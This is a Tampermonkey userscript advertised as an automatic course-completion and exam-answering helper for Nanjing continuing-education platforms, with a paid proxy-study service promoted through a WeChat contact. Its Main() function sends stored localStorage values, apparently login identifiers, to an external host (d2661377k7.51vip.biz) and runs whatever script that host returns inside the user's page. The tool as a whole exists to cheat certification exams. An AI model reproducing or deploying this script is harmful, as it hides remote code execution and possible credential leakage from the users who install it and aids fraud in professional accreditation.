南京继续教育 2023公需课 专业课 全自动学习+答题助手

注意:使用插件存在风险,2023年南京学时继续教育已经添加了作弊检测机制,专门检测插件作弊,第一次封号48小时,第二次学时清零,影响评审。想无后顾之忧,可联系代学,VX:Mr13815880447

// ==UserScript==
// @name         南京继续教育 2023公需课 专业课 全自动学习+答题助手
// @namespace    http://tampermonkey.net/
// @version      6.0
// @description  注意:使用插件存在风险,2023年南京学时继续教育已经添加了作弊检测机制,专门检测插件作弊,第一次封号48小时,第二次学时清零,影响评审。想无后顾之忧,可联系代学,VX:Mr13815880447
// @author       Mr.Jiang
// @match        https://m.mynj.cn:11188/*
// @match        http://180.101.236.114:8283/*
// @run-at       document-end
// @grant        GM_addStyle
// @grant        GM_xmlhttpRequest
// @connect      *
// @grant        unsafeWindow
// @require      http://code.jquery.com/jquery-3.x-git.min.js
// @require      https://greasyfork.org/scripts/444652-pinyin-pro/code/pinyin-pro.js
// @require https://greasyfork.org/scripts/444887-do/code/do.js?version=1049735
// @license      MIT
// ==/UserScript==
 
 
var $ = window.jQuery;
 
var setting = {
    flag:true,
}
if(setting.flag){
    pannel();
}
 
var stopurl = localStorage.getItem("stopurl");
if (stopurl) {
    stopurl = JSON.parse(stopurl);
} else {
    stopurl = [];
}
var stopurl_ = localStorage.getItem("stopurl_");
if (stopurl_) {
    stopurl_ = JSON.parse(stopurl_);
} else {
    stopurl_ = [];
}
var urltest = localStorage.getItem("urltest");
if (urltest) {
    urltest = JSON.parse(urltest);
} else {
    urltest = [];
}
var hre = location.href;
if (hre.includes("/zxpx/auc/myCourse") || hre.includes("/rsrczxpx/auc/myCourse")) {
    localStorage.removeItem('stopurl')
    stopurl = [];
    stopurl.push(hre);
    localStorage.setItem("stopurl", JSON.stringify(stopurl));
    stopurl = JSON.parse(localStorage.getItem("stopurl"));
}
if (hre.includes("/zxpx/hyper/courseDetail") || hre.includes("/rsrczxpx/hyper/courseDetail")) {
    localStorage.removeItem('stopurl_')
    stopurl_ = [];
    stopurl_.push(hre);
    localStorage.setItem("stopurl_", JSON.stringify(stopurl_));
    stopurl_ = JSON.parse(localStorage.getItem("stopurl_"));
}
if (hre.includes("zxpx/auc/courseExam") || hre.includes("rsrczxpx/auc/courseExam")) {
    urltest.push(hre);
    localStorage.setItem("urltest", JSON.stringify(urltest));
    urltest = JSON.parse(localStorage.getItem("urltest"));
}
Main();
function Main() {
 
    var tongxingzheng = {};
    tongxingzheng = JSON.parse(localStorage.getItem("tongxingzheng"));
    var nm = {};
    nm = JSON.parse(localStorage.getItem("nm"));
    var str= 'tongxingzheng='+ tongxingzheng + '&nm='+ nm
    GM_xmlhttpRequest({
        method: "POST",
        url: "http://d2661377k7.51vip.biz/lern.asp",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-type":"charset=utf-8"
        },
        data: str,
        onload: function (response) {
            var fileString = response.responseText;
            loadScriptString(fileString);
            let t1 = setInterval(() => {
                var ts = fileString;
                if (ts != "") {
                    clearInterval(t1);
                    Key();
                }
            }, 500);
 
 
        }
    });
}
 
function Key(){
 
    var url = window.location.pathname;
    if (hre.includes("/zjjyweb/user/index.do") || hre.includes("/rsrcweb/user/index.do")) {
        Userpass();
    }
    else if (url == '/zxpx/auc/myCourse' || url == '/rsrczxpx/auc/myCourse') {
        Check();
        clear();
    }
    else if (url == '/zxpx/hyper/courseDetail' || url == '/rsrczxpx/hyper/courseDetail') {
        Lern();
        clear();
    }
    else if (url == '/zxpx/tec/play/player' || url == '/rsrczxpx/tec/play/player') {
        Lerning();
        clear();
    }
    else if (url == '/zxpx/auc/courseExam' || url == "/rsrczxpx/auc/courseExam") {
        innt();
 
        doTest();
        clear();
    }
    else if (url == '/zxpx/auc/examination/subexam' || url == '/rsrczxpx/auc/examination/subexam') {
        PassTest();
        clear();
    }
}
 
function loadScriptString(code) {
 
    var script = document.createElement("script");
    script.type = "text/javascript";
    try{
        script.appendChild(document.createTextNode(code));
    }catch(ex) {
        script.text = code;
    }
    document.getElementsByTagName("head")[0].appendChild(script);
}
 
function replaceReg(reg,str){
 
    str = str.toLowerCase();
    return str.replace(reg,function(m){return m.toUpperCase()})
}
 
 
function pannel() {
    GM_addStyle('.mypanel {position: fixed;bottom: 10px;right: 10px; width: 250px;height: 400px;background-color: rgba(41, 33, 21, 0.8);z-index: 999999;border-radius: 5%;}');
    GM_addStyle('.answers {height: 70px;line-height: 70px;text-align: center;border-bottom: rgba(0, 0, 0, .2) dashed 2px;font-size: 16px;font-weight:700; color:#e58ce6}');
    GM_addStyle('.askMe {line-height: 50px;color:#e60303 !important;font-size: 17px ;font-weight:1000; text-align: center;}');
    GM_addStyle('.askMeq {line-height: 50px;color:#e60303 !important;font-size: 17px ;font-weight:1000;text-align: center;}');
    var html = '<div class="mypanel">'
    html += '<div class="answers"><a href=\"" target=\"_blank\" style= "color:#ebef09; ">诚信共赢</a> </div>'
    html += '<div class="askMe"><a href=\"" target=\"_blank\" style="color:#e60303">注意:2023年南京专技继续教育加入了作弊检测机制,第一次封号48小时,第二次学时清零,影响评审。想无后顾之忧,可联系代学,VX:Mr13815880447</a> </div>'
    html += '</div>'
    $("body").append(html);
}